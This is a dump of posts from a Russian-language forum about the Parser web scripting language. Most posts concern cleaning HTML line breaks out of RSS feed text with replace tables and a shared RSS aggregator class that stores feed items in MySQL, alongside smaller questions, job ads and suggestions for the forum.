<br>Такой размер пошлины будет установлен исходя из того, что цены на нефть марки Urals на мировых рынках сохранялась до конца апреля 2006 г. на уровне около 67 долл./барр. Пошлина на светлые нефтепродукты составит 146,9 долл./т, на темные - около 79,2 долл./т. \
<br>\
<br>В настоящее время действует экспортная пошлина на нефть, установленная 1 апреля 2006 г., в размере 186,4 долл./т. Средняя цена на нефть марки Urals за период мониторинга (январь-февраль 2006 г.) составила 58,13 долл./барр. Исходя из нее и устанавливается пошлина. Экспортная пошлина на светлые нефтепродукты была установлена в размере 137,9 долл./т, на темные - 74,3 долл./т. Эти пошлины вступают в силу с 5 мая с.г.\
<br> </p> ]]></description>\
[/code]\
\
я эти данные вычищаю примерно так:\
\
[code]\
$cleanup[^table::create{from	to\
 <p> 	\
 </p> 	\
\
<br>	<br>\
<br><br>	<br>\
<br>	<br />}]\
...\
$description{^xml.selectString[string(/rss/channel/item[position() = $i]/description)]}\
$desc[^untaint[html]{$description}]\
^desc.replace[$cleanup]\
[/code]\
\
На выходе получаем:\
\
[code]\
Экспортная пошлина на нефть в России с 1 июня 2006г. будет установлена на рекордном уровне - 199,8 долл./т. Об этом сообщил РБК заместитель начальника отдела таможенных платежей Министерства финансов РФ Александр Сакович. Ранее сообщалось, что экспортная пошлина будет установлена на уровне около 200 долл./т. <br>\
<br>Такой размер пошлины будет установлен исходя из того, что цены на нефть марки Urals на мировых рынках сохранялась до конца апреля 2006 г. на уровне около 67 долл./барр. Пошлина на светлые нефтепродукты составит 146,9 долл./т, на темные - около 79,2 долл./т. <br>\
<br>В настоящее время действует экспортная пошлина на нефть, установленная 1 апреля 2006 г., в размере 186,4 долл./т. Средняя цена на нефть марки Urals за период мониторинга (январь-февраль 2006 г.) составила 58,13 долл./барр. Исходя из нее и устанавливается пошлина. Экспортная пошлина на светлые нефтепродукты была установлена в размере 137,9 долл./т, на темные - 74,3 долл./т. Эти пошлины вступают в силу с 5 мая с.г.\
<br>\
[/code]\
\
Ну откуда берутся эти\
перенос строки(0D) и <br>"
"52462","Off: ваш русский язык - канцелярит высшей пробы. Снимаю шляпу."
"52463","содержимое таблицы $cleanup я не осилил.\
\
про ваш ^untaint[html]{}\
уже созданняй xml (xdoc) содержит \"чистые данные\".\
\
соответственно все, что из него достали (.select) - чистое.\
\
а на чистые данные untaint не оказывает никакого влияния, ибо согласно документации он как-то оказывает влияние только с текстом на неопределенном языке. и если вы выкините его - ничего не должно измениться."
"52464","Попробую подробнее:\
ПР - пробел;\
ПЕР - перенос строки;\
ТАБ - табуляция\
\
[code]\
$cleanup[^table::create{from	to\
ПР<p>ПРТАБ\
ПР</p>ПРТАБ\
ПЕР\
<br>ТАБ<br>\
<br><br>ТАБ<br>\
<br>ТАБ<br />}]\
[/code]\
так понятнее?\
\
P.S. Кстати вопрос, какой вариант предпочтительней: вычищать данные до помещения в таблицу или работать с оригинальными данными извлекаемыми из таблицы?\
Мне кажется первый вариант логичнее..."
"52465","На выходе получаем <br> а не <br /> как ожидалось:\
\
[code]\
Экспортная пошлина на нефть в России с 1 июня 2006г. будет установлена на рекордном уровне - 199,8 долл./т. Об этом сообщил РБК заместитель начальника отдела таможенных платежей Министерства финансов РФ Александр Сакович. Ранее сообщалось, что экспортная пошлина будет установлена на уровне около 200 долл./т. <br>\
<br>Такой размер пошлины будет установлен исходя из того, что цены на нефть марки Urals на мировых рынках сохранялась до конца апреля 2006 г. на уровне около 67 долл./барр. Пошлина на светлые нефтепродукты составит 146,9 долл./т, на темные - около 79,2 долл./т. <br>\
<br>В настоящее время действует экспортная пошлина на нефть, установленная 1 апреля 2006 г., в размере 186,4 долл./т. Средняя цена на нефть марки Urals за период мониторинга (январь-февраль 2006 г.) составила 58,13 долл./барр. Исходя из нее и устанавливается пошлина. Экспортная пошлина на светлые нефтепродукты была установлена в размере 137,9 долл./т, на темные - 74,3 долл./т. Эти пошлины вступают в силу с 5 мая с.г.\
<br>\
[/code]"
"52466","Подскажите, если не сложно."
"52467","[code]######################\
@method1[]\
\
$tab[^table::create{name   age \
Вова   27 \
Леша   22}] \
\
^method2[$tab]\
\
######################\
@method2[any_table]\
\
^any_table.menu{\
	$any_table.a\
}[/code]"
"52468","берем первую строку:\
ПР<p>ПРТАБ\
и задаем вопрос: как replace это должен понять?\
\
точно читали [url=\"/faq/lang/\"]как в таблицу замен добавить символы перевода строки или табуляции[/url]?"
"52469","Использую ModRewrite с перенаправлением всех запросов на один и тот же обработчик. По мере необходимости подгружаю куски кода на парсере и пропускаю их через process. Если там встречается что-нибудь типа:\
[code]\
$f[^file::load[text;f.txt]]\
[/code]\
то парсер, понятное дело, пытается найти файл в том же каталоге, где расположен обработик - запрошенный черз rewrite документ. Сейчас мне приходится изменять код, дополняя относительные пути вручную:\
[code]\
$f[^file::load[text;$current_object.base_dir/f.txt]\
[/code]\
Однако, в моем случае, параллельно с подгрузкой парсерного кода выстраивается иерархия объектов, соответствующая структуре каталогов на диске. Вот и хотелось бы облегчить себе жизнь, меняя текущий каталог автоматически перед вызовом подгруженных методов.\
\
Наличие такой возможности было бы хорошим дополнением к $request:document-root"
"52470","Пробовал немного иначе:\
^taint[html][^#0D]  <br>\
Попробую согласно FAQa..."
"52471","на выходе получаю:\
[code]Экспортная пошлина на нефть в России с 1 июня 2006г. будет установлена на рекордном уровне - 199,8 долл./т. Об этом сообщил РБК заместитель начальника отдела таможенных платежей Министерства финансов РФ Александр Сакович. Ранее сообщалось, что экспортная пошлина будет установлена на уровне около 200 долл./т. <br><br /><br><br />Такой размер пошлины будет установлен исходя из того, что цены на нефть марки Urals на мировых рынках сохранялась до конца апреля 2006 г. на уровне около 67 долл./барр. Пошлина на светлые нефтепродукты составит 146,9 долл./т, на темные - около 79,2 долл./т. <br><br /><br><br />В настоящее время действует экспортная пошлина на нефть, установленная 1 апреля 2006 г., в размере 186,4 долл./т. Средняя цена на нефть марки Urals за период мониторинга (январь-февраль 2006 г.) составила 58,13 долл./барр. Исходя из нее и устанавливается пошлина. Экспортная пошлина на светлые нефтепродукты была установлена в размере 137,9 долл./т, на темные - 74,3 долл./т. Эти пошлины вступают в силу с 5 мая с.г.<br>[/code]\
\"запачканый\" перенос - пачкает <br> и этот \"грязный\" <br> replace не понимает или не хочет понять, пытался <br> почистить ^untaintom:\
\
[code]^taint[html][^#0A]	^untaint{<br>}[/code]\
или\
[code]^taint[^#0A]	^untaint{<br>}[/code]\
, а также:\
[code]^taint[html][^#0A]	^untaint[html]{<br>}[/code]\
\
или\
\
[code]^taint[^#0A]	^untaint[html]{<br>}[/code]\
\
\
результат тот-же...\
<br><br /><br><br />"
"52473","Кто-нибудь собирал? Можете помочь?"
"52476","если в коде будет явно написано имя каталога, это будет «хорошо».\
\
к слову: когда-то, когда я начинал делать ^table.menu, я сделал в духе Visual Basic так:\
[code]\
#сейчас не так\
^articles.menu{\
   $.title\
   $.date\
   $.author\
}\
[/code]\
\
но потом, конечно же, возники вопросы про \
* вложенные циклы\
* копирование кода из цикла наружу\
\
и это выпрямилось.\
\
\
Аналогия с $request:document-root понятна, однако я не согласен, что вполне применима."
"52477","Представьте такую штуку:\
[code]\
$parser[^my_parser::create[$document-root]]\
<complex_page>\
	<news>^parser.request[/company/news/index.xml??id=23]</news>\
	<contacts>^parser.request[/company/about/contacts.xml]</contacts>\
</complex_page>\
[/code]\
Вот внутри метода request хорошо бы поменять текущую директорию на ту, в которой находится [i]виртуально[/i] запрошенный документ.\
\
А про вложенные запросы до сего момента не задумывался..."
"52478","Связи таблиц в mysql как в access\
Возможно ли такое....\
помогите за запросом суть такова\
SELECT name , type AS (SELECT name from types where id=orgs.id) from orgs\
тока не надо меня отсылать на гугл или яндекс вы люди опытные а я нет \
просто помогите\
буду признателен"
"52480","[code]\
^method[\
	$.element_1[...]\
	$.element_n[...]\
]\
\
@method[_params][params]\
$params[^hash::create[$_params]]\
[/code]\
\
P.S. http://www.parser.ru/forum/?id=43527"
"52481","[code]^$Z*.^^[/code]\
это правило ищет: Z после конца строки \\n за которой идёт ещё какой-нибудь символ и начало новой строки.\
Т.к. Z используется с квантификатором *, следовательно его может не быть вообще, в таком случае это правило сработает на любые односимвольные строки, не содержащие Z.\
\
Вот как должно выглядеть это правило.\
[code]^text.match[^^Z.*?^$][m]{}[/code]"
"52483","1. забудьте пока про taint/untaint. судя по тому, что вы о нем пишите вы не очень понимаете как он работает. например ^untaint{<br>}, ^untaint[html]{<br>} не имеют смысла, т.к. вы сами в коде написали буквы '<br>', они чистые, т.е. untaint-у не подвластны. в этой ситуации его лучше не использовать вообще.\
2. делайте последовательно. вы пробуете написать таблицу replace в которой присутствуют конструкции, срабатывающие последобательно. поместите пока в таблицу замен две строки, первая: '<br><br>ТАБ<br />', вторая: '<br>ТАБПРОБЕЛ'."
"52485","странно... стандартная запись из документации\
[code]\
11. $response:expires[^date::now(+1)]\
12. ^response:headers.foreach[header;value]{\
13.    $header - $value\
14. }[<br>]\
[/code]\
\
Выдаёт ошибку:\
date\
date may not be overwritten with hash, store it to variable instead\
z:/home/artgroup.ru_xxx/www/index.html(13:15)\
\
Почему ошибку выдаёт - не ясно..."
"52486","т.е. например строка запроса\
http://www.mysite.ru/news/articles.html?year=2000&month=05&day=27\
\
А нужно чтоб выдавалось название домена, например так:\
mysite.ru или\
www.mysite.ru или\
http://www.mysite.ru\
\
Просто есть команда $request:uri которая возвратит\
/news/articles.html?year=2000&month=05&day=27\
а мне нужно именно название домена узнать..."
"52487","Используйте $env:SERVER_NAME"
"52488","в документации поправим."
"52490","Или почему бы их не хранить в одной директории?"
"52491","спасибо"
"52492","может и не самое оптимальное, зато работает :-)\
[code]$cleanup[^table::create{from	to\
<br>^taint[^#0A]<br>	<br />\
^taint[^#0A]<br> </p>	\
 <p> 	\
 </p> 	}][/code]\
\
Спасибо за наставления!"
"52493","когда ты научишь хранить таблицу объекты, то это будет одно и тоже, а пока нет. :-)"
"52494","Перечитал статью о Engine v.4, проникся, но многое осталось неясным.\
Можно попросить вас проиллюстрировать связи между объектами, блоками и процессингом запроса с параметрами (из формы например) на каком-нибудь более-менее простом примере. Какие объекты создаются и как происходит процессинг через обработчики, и в каком порядке на примере, скажем, ленты новостей + связка с календариком.\
\
Уверен, такой же вопрос волнует многих на этом форуме.\
Спасибо!"
"52495","За основу был взят Engine. Так сразу не заработает, но как пример для ознакомления и разбора — очень хорошая штука."
"52496","Есть ещё Limbo CMS:\
Бесплатная CMS с возможностью построения сайта любой сложности (кроме интернет-магазина, который в данный момент дорабатывается). Руссифицирована, для работы необходимо PHP + MySQL (или текстовая база). В стандартный комплект входит ЛУРМ. ЛУРМ разработан Серебром (российская поддержка) и представляет собой:\
Limbo Universal Resource Manager  (ЛУРМ) - это как конструктор ЛЕГО, с его помощью можно за 10-15 минут, в админке создать любую страницу сайта с любыми типами данных для заполнения.\
\
Состав полей любого раздела можно менять как по количеству так и качественно.\
\
Например, в какой-то момент нужно будет дополнительное поле в галереи или в любом другом разделе. С помощью конструктора можно это поле задать не теряя имеющихся данных, т.е. в список полей раздела дополнить новым полем, указав его тип. Таким образом можно организовать любой каталог с данными используя категории с неограниченными уровнями вложенности.\
Сочетание всех этих типов полей может дать вам возможность описать и использовать в своей работе любой каталог информации.\
\
Например можно с легкостью создать:\
\
    * Файловый архив <Download> (с полностью настраиваемой информацией по размеру, количеству скачиваний, с настройкой доступа для пользователей и многими другими полезными функциями)\
    * Фотогалерея (с возможностью отображения фотографий как списком, так и плиткой с указанием количества столбцов и строк, информация для фото настраивается по усмотрению администратора)\
    * Прайс-лист\
    * Каталог статей\
    * Каталог ссылок\
    * ЧаВО (FAQ)\
    * и другие\
Создаваемые поля могут быть следующего типа:\
Категория - Поле принимает значения из списка категорий секции\
Текстовое поле - Текстовое поле до 240 символов\
Ссылка (URL) - Значение поля будет иметь вид ссылки\
Ссылка (с посещениями) - То же что и предыдущее, но со счетчиком кликов по ссылке\
Автонумератор - Поле не имеет значения и служит для нумерации выводимых на сайте строк в таблице данных\
Справочник: NNN - Поле принимает значения из указанного справочника, перечень значений и перечень справочников неограниченны\
Текстовое многострочное - Текстовое многострочное поле\
Текстовое с редактором - Текстовое поле с выводом панели инструментов установленного в админке WISYWYG-редактора\
Логическое - Может принимать значения <Да> или <Нет>\
Дата - Принимает значения типа дата следующего формата[ггг-мм-дд чч:мм:сс], в админке используется календарь\
Посещения - Поле для учета кликов, в админке не заполняется\
Картинка - Поле для указания пути к файлу картинки\
Подробнее - Поле для перехода к странице с подробной информацией о позиции данных, т.е. будут показаны те поля которые отмечены как <Не выводить в таблице данных>. Дизайн страницы <Подробнее> настраиваемый для каждого раздела в отдельности.\
\
Используя конструктор LURM можно комбинировать эти поля, настраивать вариант отображения страницы с использованием css. Администратора сайта в создании разделов сайта ограничивает только полет его фантазии.\
Дополнительные типы данных могут быть созданы сторонним разработчиками и подключены в состав основных типов.\
[url=\"http://limbo-cms.com.ru\"]Сайт русской версии[/url]"
"52497","Парсить  Excel  можно - в частности через  ADO.Net или  php - c разбором  CVS\
подробнее на  http://web-style.h1.ru"
"52498","Ищется веб-технолог, знающий Parser, MySQL, XML/XSL.\
Подробности в ICQ (179-508-506) или по почте."
"52499","однако хочу доделать работу с временными зонами, поэтому пока не выкладывал обновленный класс.\
\
правда они (временные зоны) снесли мне крышу и я не до конца знаю как доделать работу с ними.\
\
если кто-нить с ними на \"ты\" и он не прочь оказать помощь (хотя бы ссылкой где про них подробно объясняется, при этом ссылка http://www.worldtimezone.com/ мне известна, - в мыло плиз :)"
"52500","а приводить пример процессинга запроса для меня непросто, так что извините."
"52501","Ищу удаленного веб-технолога на part-time\
\
Загрузка -- не более 3, максимум 4 часов в день (по рабочим дням) -- то есть скорее подработка, чем работа. Работа идёт над одним, но довольно интересным, -- ajax и все прочие дела.\
\
Необходим parser, html и javascript.\
\
По деньгам -- 200 долларов за месяц."
"52502","Полсле трех дней ожесточенных боев получилось следующее. За основу взят класс rss.p - автор Sanja v.2:\
[url=\"http://www.parser.ru/forum/?id=26071\"]http://www.parser.ru/forum/?id=26071[/url]\
кое-что подправил, в основном работу с датами и SQL - запросы, вот то, что у меня получилось:\
[code]##############################\
# В этот класс вынесен весь код, который\
# отвечает за чтение RSS потоков с других сайтов.\
@CLASS\
rss\
\
##############################\
# Получение списка RSS ньюсфидов, которые не обновлялись больше часов, чем\
# указано в столбце min_refresh_period и их обновление\
@update_list[][limit;rss_feeds]\
\
^if(def $form:limit){\
	$limit[$form:limit]\
	$limit(^limit.int(15))\
}{$limit(15)}\
\
$rss_feeds[\
	^MAIN:pSQL.table{\
		SELECT\
			uri,\
			hours_to_keep\
		FROM\
			rss_list\
		WHERE\
			is_enabled=\"yes\"\
		AND\
			last_update < ^date_sub_hour[;min_refresh_period]\
		ORDER BY\
			last_update\
	}[$.limit($limit)]\
]\
\
^if(def $rss_feeds){\
	^rss_feeds.menu{\
		^update_feed[$rss_feeds.uri]\
		^MAIN:pSQL.void{\
			DELETE FROM\
				rss_items\
			WHERE\
				pubdate < ^date_sub_hour[;$rss_feeds.hours_to_keep]\
			AND\
				feed_id = \"$rss_feeds.uri\"\
		}\
	}\
}\
\
\
##############################\
# Повторное чтение RSS потока, разбор и запись в базу обновлений:\
@update_feed[feeduri][rss;cleanup;replacements;rss_text;xml;items;updatedcnt;counts;rss_version;date;title;link;description]\
\
# пытаемся загрузить RSS файл с помощью ^file::load\
# При этом может произойти целая туча неприятностей - другой сервер может не отвечать,\
# файл окажется испорчен или удалён - на этот случай мы пользуемся оператором ^try\
\
^try{\
	$rss[^file::load[text;^untaint{$feeduri};\
		$.timeout(5)\
		$.any-status(1)\
		$.headers[\
			$.User-Agent[RSS aggregator from HimOil.ru]\
		]\
	]]\
\
#	Поскольку парсер неспособен считать XML-элементы наподобие <item rdf:about=\"http://\
#	выскребаем их из документа:\
	\
	$replacements[^table::create{from	to\
encoding=\"UTF-8\"	encoding=\"windows-1251\"\
encoding=\"utf-8\"	encoding=\"windows-1251\"\
encoding='utf-8'	encoding='windows-1251'\
encoding=\"iso-8859-1\"	encoding=\"windows-1251\"\
encoding='iso-8859-1'	encoding='windows-1251'\
 rdf:	 rdf_\
&mdash^;	-\
&hellip^;	...\
&nbsp^;\
&quot^;	\"\
\"	\"\
\"	\"\
&copy^;	(c)\
&laquo^;	\"\
&raquo^;	\"\
&trade^;	 <sup>(TM)</sup>\
</rdf:RDF>	</rss>\
xmlns=	xmln_dis=\
xmlns:	xmln_dis_\
<rdf:li	<rdf_li\
<rdf:Seq	<rdf_Seq\
</rdf:Seq	</rdf_Seq\
rdf:resource=	rdf_resource=\
<admin:generatorAgent	<admin_generatorAgent\
<rdf:RDF	<rss version=\"2.0\"\
dc:subject>	subject>\
dc:creator>	creator>\
dc:publisher>	publisher>\
syn:updateFrequency>	syn_updateFrequency>\
syn:updatePeriod>	syn_updatePeriod>\
syn:updateBase>	syn_updateBase>\
sy:updateFrequency>	sy_updateFrequency>\
sy:updatePeriod>	sy_updatePeriod>\
sy:updateBase>	sy_updateBase>\
dc:language>	language>\
dc:rights>	rights>\
dcterms:isReferencedBy	dcterms_isReferencedBy\
admin:errorReportsTo	admin_errorReportsTo\
<content:encoded>	<description>\
</content:encoded>	</description>\
trackback:ping	trackback_ping\
trackback:about	trackback_about\
dc:date>	pubDate>}]\
\
	$rss_text[^untaint{$rss.text}]\
\
#	Дочищаем текст:\
	$rss_text[^rss_text.replace[$replacements]]\
\
#	Это - на случай особо извращённых интерпретаций RSS (с <rdf:Seq>):\
	\
	^if(^rss_text.match[rdf_Seq][]){\
\
		$replacements[^table::create{from	to\
</channel>^taint[^#0A]<items>^taint[^#0A]</items>^taint[^#0A]</rss>	</channel></rss>}]\
\
		$rss_text[^rss_text.replace[$replacements]]\
	}\
\
#	Проверяем канал (RCCnews.ru) и испраляем кое-что\
	^if(^rss_text.match[RCCNews.ru][]){\
		$replacements[^table::create{from	to\
</channel>^taint[^#0A]<image>	<image>\
</items>^taint[^#0A]</rss>	</channel></rss>}]\
		$rss_text[^rss_text.replace[$replacements]]\
	}\
\
	$xml[^xdoc::create{$rss_text}]\
#	Избавляемся от корневого тега RDF\
	$items[^xml.select[/rss/channel/item]]\
\
$updatedcnt(0)\
\
^if(def $items){\
#	Создаем табличку замен для каналов, которые любят ненужное форматирование\
	$cleanup[^table::create{from	to\
<img src=\"http://top.list.ru/counter?js=na^;id=427384^;t=57\" border=\"0\" height=\"1\" width=\"1\" alt=\"Рейтинг@Mail.ru\">	\
<span style='font-family^: Tahoma, Verdana^;font-weight^: bold^;font-size^: 18px^;color^: #666666^;'></a>	\
<span style='font-family^: Tahoma, Verdana^;font-weight^: bold^;font-size^: 18px^;color^: #666666^;'>	\
<span style='font-family^: Tahoma^;font-size^: 11px^;color^: #666666^;text-decoration^: none^;'><br>	\
<span style='font-family^: Tahoma^;font-size^: 11px^;color^: #666666^;text-decoration^: none^;'>	\
</span>	\
<br>^taint[^#0A]<br>	<br />\
^taint[^#0A]<br> </p>	\
 <p> 	\
 </p> 	\
<br>	<br />\
<br /><br />	<br />}]\
\
#	Нам нужно узнать версию RSS-потока, который мы получили.\
# 	Тонкость в том, что у RSS 2.0 есть тэг PubDate, а у RSS 0.91 нету.\
#	Поэтому для RSS 2 мы пользуемся тем, что есть, а для старых версий RSS\
#	пользуемся политикой \"дата, когда выкачали = дата создания\"\
	$rss_version[^xml.selectString[string(rss/@version)]]\
	^for[i](1;$items){\
		^if($rss_version eq \"2.0\"){\
			$date{^xml.selectString[string(/rss/channel/item[position() = $i]/pubDate)]}\
			^if(def $date){\
				$date[^dtf:from822[$date]]\
			}{\
				$date[^date::now[]]\
			}\
		}{\
#			Если мы имеем дело с RSS старой версии, берём текущую дату:\
			$date[^date::now[]]\
		}\
		$title{^xml.selectString[string(/rss/channel/item[position() = $i]/title)]}\
		$title[^title.replace[$cleanup]]\
		$link{^xml.selectString[string(/rss/channel/item[position() = $i]/link)]}\
		$description{^xml.selectString[string(/rss/channel/item[position() = $i]/description)]}\
		$description[^description.replace[$cleanup]]\
#		Проверка для канала Mabico.ru (эти идиоты шлют кучу пробелов переносов и точку)\
		^if(^description.length[] <= 14){\
			$description[$title]\
		}\
\
		$counts[^MAIN:pSQL.table{SELECT COUNT(*) AS cnt FROM rss_items WHERE link = \"$link\"}]\
\
		^if(^counts.cnt.int(1) == 0){\
			^MAIN:pSQL.void{INSERT INTO rss_items (feed_id, title, link, description, pubdate)\
				VALUES ('$feeduri', '$title', '$link', '$description', '^dtf:format[%Y-%m-%d %H:%i:%S;$date]')\
			}\
			^updatedcnt.inc[]\
		}\
\
	}\
# 	Обновляем запись об этом RSS-фиде в базе:\
	^if($updatedcnt >= 0){^MAIN:pSQL.void{UPDATE rss_list SET last_update = ^MAIN:pSQL.now[] WHERE uri = \"$feeduri\"}}\
}\
}{\
	$exception.handled(1)\
}\
\
\
##############################\
# Вывод кешированных RSS-элементов из базы\
@display[][rss_items]\
$rss_items[\
	^MAIN:pSQL.table{\
		SELECT\
			title,\
			link,\
			description,\
			pubdate,\
			rss_list.uri, rss_list.name, rss_list.allow_untaint\
		FROM\
			rss_items\
			^MAIN:pSQL.left_join[from;rss_list;rss_items.feed_id=rss_list.uri]\
		ORDER BY\
			pubdate DESC\
	}[$.limit(20) $.offset(^if(def $form:skip){$form:skip}{0})]\
]\
^if(def $rss_items){\
	^rss_items.menu{\
		<p>\
		<b>^dtf:format[%d.%m.%Y %H:%i;$rss_items.pubdate] \
		^if(def $rss_items.title){\
			<a href=\"$rss_items.link\">^untaint{$rss_items.title}</a>\
		}{\
			Без заголовка\
		}</b>\
		<br />\
		^if($rss_items.allow_untaint eq \"yes\"){\
			$desc[^untaint[as-is]{$rss_items.description}]\
		}{\
			$desc[^untaint[html]{$rss_items.description}]\
		}\
		^if(def $desc){\
			^if(^desc.length[] >= 255){\
				$desc[^desc.left(255)&#133^; <a href=\"$rss_items.link\">далее&#133^;</a>]\
			}\
			$desc\
		}{\
			<i>Эта запись - без текста</i>\
		}\
		<br />\
		<span class=\"textSmall\" style=\"font-style:italic\">\
		^if(def $rss_items.uri){\
			<a href=\"$rss_items.uri\">$rss_items.name</a>\
		}{\
			$rss_items.name\
		}\
		</span>\
		</p>\
	}\
}[/code]\
структура таблиц здесь:\
[url=\"http://www.parser.ru/forum/?id=26072\"]http://www.parser.ru/forum/?id=26072[/url]\
[b]внимание[/b] поля hours_to_keep и min_refresh_period - в часах\
\
проверено на полутора десятках входящих каналов RSS 0.91 и 2.0, вроде бы работает\
\
чуть не забыл...\
[code]############################################################\
@date_sub_hour[sDate;iHour]\
$result[DATE_SUB(^if(def $sDate){$sDate}{NOW()},INTERVAL $iHour HOUR)]\
#end @date_sub_hour[][/code]"
"52504","[url=\"http://ru.wikipedia.org/wiki/UTC\"]http://ru.wikipedia.org/wiki/UTC[/url]\
это я когда пытался разобраться случайно набрел...\
там внизу есть пара ссылок:\
[url=\"http://www.w3.org/TR/NOTE-datetime\"]http://www.w3.org/TR/NOTE-datetime[/url]\
[url=\"http://www.ietf.org/rfc/rfc3339.txt\"]http://www.ietf.org/rfc/rfc3339.txt[/url]\
с английским у меня слабовато, а Вам может быть пригодится..."
"52505","Но если вы откроете ссылку вида [url=\"http://www.google.com/reader/atom/feed/http://www.parser.ru/messages.rdf\"]http://www.google.com/reader/atom/feed/url_rss_потока[/url], добрый Google вам его сконвертирует в формат RSS 2.0 и не надо мучиться с разбором битых RSS.\
\
И вообще, свой ридер можно нынче сделать целиком на [url=\"http://www.niallkennedy.com/blog/archives/2005/12/google_reader_a.html\"]Google Reader API[/url]. Или пользоваться Яндекс-Лентой.\
\
Да, ещё ваш код (и мой) не дают вам знать, если с разбором rss случаются проблемы - и единственный способ это заметить - увидеть, что последнее обновление было давно.\
\
По мелочи: if(^rss_text.match[RCCNews.ru] - медленно, быстрее ^if(^rss_text.pos[что-то] >= 0){"
"52506","Привожу код.\
\
[code]<table style=\"width:600px\">\
<form method=\"post\" action=\"\">\
<input type=\"hidden\" name=\"action\" value=\"step3\"/>\
<input type=\"hidden\" name=\"c\" value=\"$cv.id\"/>\
^events.menu{\
<tr style=\"background-color:#CCFFCC\">\
<td><input type=checkbox name=event value=\"$events.id\"></td><td>$events.site</td>\
<td style=\"width:40px\"><small>^dtf:format[%d.%m.%Y;$events.end]<br>^dtf:format[%d.%m.%Y;$events.begin]</small></td>\
<td>$events.tasks</td>\
</tr>\
}\
\
<tr>\
<td colspan=4><input style=\"overflow:none^; width : 100%\" type=\"submit\" name=\"action\" value=\"&#209;&#238;&#225;&#240;&#224;&#242;&#252; &#240;&#229;&#231;&#254;&#236;&#229; &#232;&#231; &#241;&#238;&#225;&#251;&#242;&#232;&#233;\" /></td>\
</tr>\
</table>[/code]\
\
[code]^connect[$connect_string]{\
^form:fields.foreach[field;value]{\
\
^void:sql{UPDATE `p_events` \
SET `cv` = '$form:c'\
WHERE `id` = '$form:event'}\
\
}}[/code]\
\
Не могу понять, почему обновляется только первый из списка? Обшарил весь форум -- ответа не нашел. Спасибо."
"52507","[quote]Но если вы откроете ссылку вида http://www.google.com/reader/atom/feed/url_rss_потока, добрый Google вам его сконвертирует в формат RSS 2.0 и не надо мучиться с разбором битых RSS.[/quote]\
\
если честно в rdf нет ни одного нужного мне канала и проверить я этот момент просто не удосужился. Значит разбор rdf удаляем?\
\
[quote]И вообще, свой ридер можно нынче сделать целиком на Google Reader API. Или пользоваться Яндекс-Лентой.[/quote]\
А если нужно входящую информацию аккумулировать и транзитом в свой RSS?\
\
[quote]Да, ещё ваш код (и мой) не дают вам знать, если с разбором rss случаются проблемы - и единственный способ это заметить - увидеть, что последнее обновление было давно.[/quote]\
попробую доработать\
\
[quote]По мелочи: if(^rss_text.match[RCCNews.ru] - медленно, быстрее ^if(^rss_text.pos[что-то] >= 0){[/quote]\
спасибо, исправил..."
"52509","Благодарю за правильный вопрос. Заработало."
"52510","есть более удобный чем Яндекс Лента инструмент -- NewsGator. Удобен он наличием клиента. То есть в клиент вы получаете только то, что не прочитано, например, на другом клиенте или веб-интерфейсе.\
\
P.S. если ребята из Яндекса сделают клиент к Ленте полностью перейду и на их почту и на их ленту."
"52513","а чем хуже rss-ссылки постить сразу в читалку?\
\
просто насколько я понял у автора топики задача несколько иная: показывать сборную солянку посетителям по http, и тут по моему ни о каких прочитанных сообщениях речи быть не может."
"52514","Хуже тем что нарпимер на домашнем компьютере у меня отображается уже прочтенное на работе\
Поэтому я feed'ы теперь не в опере юзаю. \
Там еще версия для КПК есть но 20$ в год.\
\
А сборную солянку? по моему такие сервисы есть -- тот же feed station у NewsGator\
\
Велосипед."
"52515","Когда я увидел этот пост в голову пришли мысли \"Интересно а что за файловая система этот part-time!?!?!\
Скорее всего зря человек мается - не удастся восстановить удаленного админа если небыло резервных копий или не на рэйде этот бедняга был записан.\"\
\
Вот так. Уже допрыгался. А ведь завтра еще рабочий день. Все. сворачиваюсь и иду вызванивать друзей на пиво и бильярд."
"52519","хоть по модулю бери ноль :))"
"52521","теоретически, можно прямо самим $document-root и воспользоваться\
и в коде подключаемых страниц на это и расчитывать, что они [i]виртуально[/i] загружаются из корня.\
\
так-сказать, свести \"./name\" к \"/name\".\
\
\
мы описанный вами пример кодируем иначе: информация лежит в базе, и вынимается оттуда нашим кодом.\
соответственно, понятие \"текущий каталог\" у нас отсутствует.\
\
добавлять не планируем ;)"
"52523","просто воспользуйтесь. [i]тока[/i] не надо ерунды.\
будем признательны."
"52524","в простых случаях можно так:\
\
[code]\
<textarea name=excel></textarea>\
\
^if(...){\
	$t[^table::create{^untaint{$form:excel}}]\
	^t.menu{\
		$t.field1\
	}\
[/code]\
\
т.е. в одном окне открыт Excel, там выделяют нужные столбцы, Ctrl+C, переключаются в окно браузера, Ctrl+V [Submit].\
\
\
Что характерно, ничего смешного. Вполне успешно работает на нескольких Студийных проектах.\
\
Понятно, что пользоваться нужно аккуратно, а в коде должно быть сколько-то проверок на разумность данных."
"52525","http://www.mysql.ru/docs/gruber/\
ваша задача тут расписана http://www.mysql.ru/docs/gruber/mg08.html\
хотя вопрос как-то не внятно сформулирован"
"52526","Ну правда, уже начинает напрягать: при необходимости найти сообщения относящиеся к какой-то отдельной области применения языка, приходится перекапывать весь форум. Почему бы не доработать форум, чтобы сообщения можно было группировать по категориям? Например: \"XML\", \"Работа с файлами\", \"Регулярные выражения\", \"Установка\" и т.д. и т.п. По-моему это здоровая традиция всех популярных форумных движков (те же phpBB, IPB, vBulleting и пр.).\
\
Я в основном работаю с PHP, но Parser нравится и, разумеется, хочется узнавать больше о технике работы с языком и естественная возможность - копать форум, но постоянно сталкиваешься с отсутствием категорий и неудобным (ну или непривычным) на мой взгляд интерфейсом форума.\
\
Я знаю про \"воспользуйтесь поиском по форуму\", но поиск тоже не лучший путь в этом случае: в результатах поиска уйма сообщений, в которых искомый предмет упоминается вскользь и само сообщение никак не относится к этому самому предмету.\
\
И еще. На мой взгляд, довольно замороченно разбираться в деревьях топиков форума, особенно в длинных и особенно когда ищешь что-то относящееся к определенной теме. Добавили бы возможность сворачивать деревья сообщений, а? Ну или выбирать как их отображать: в свернутом или развернутом виде. Допустим, в свернутом виде: оригинальный заголовок темы, автор, дата последнего ответа, автор последнего ответа.\
\
Надеюсь, я не один имею подобные соображения и ногами за это пинать меня не станут. А впрочем все равно."
"52527","а не в виде жесткого разделения на несколько форумов.\
\
[quote]Допустим, в свернутом виде: оригинальный заголовок темы, автор, дата последнего ответа, автор последнего ответа.[/quote]\
\
Зарегистрируйтесь и в настройках форума сделайте:\
[b][x] показывать только корневые сообщения тредов[/b]\
\
